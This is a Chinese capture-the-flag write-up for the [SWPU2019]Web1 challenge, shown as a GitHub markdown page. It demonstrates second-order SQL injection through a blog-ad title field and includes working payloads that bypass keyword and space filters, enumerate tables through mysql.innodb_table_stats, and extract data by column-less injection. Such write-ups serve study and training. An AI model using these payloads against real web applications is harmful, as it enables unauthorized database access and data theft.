Skip to content

Latest commit

 

History

History
57 lines (34 loc) · 1.71 KB

[SWPU2019]Web1.md

File metadata and controls

57 lines (34 loc) · 1.71 KB

[SWPU2019]Web1

知识点

sql注入

无列名注入

二次注入

mysql.innodb_table_stats

解题

首先有个登录注册,我注册了一个admin',然后在首页也没发现注入这个地方的点

继续查看申请发布广告这部分发现了二次注入,在发布广告页面的广告名有sql注入,点进去看广告详情的时候发生二次注入

首先闭合sql语句,发现-- --+ #都被过滤,注释符行不通,我们使用'闭合

因为空格order被过滤,判断列数使用group/**/by

title='group/**/by/**/23,'&content=123&ac=add

在第23开始报错,说明有23列,联合注入看回显位置

title=-2'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add

2,3处回显,查一下数据库

title=-2'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add

发现数据库名为web1,查一下表名,因为or被过滤,无法查information_schema,用mysql.innodb_table_stats

title=-2'union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add

因为无法查列名,只能使用无列名注入,一个个查,最后查到users中存在flag

title=-2'union/**/select/**/1,2,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'&content=123&ac=add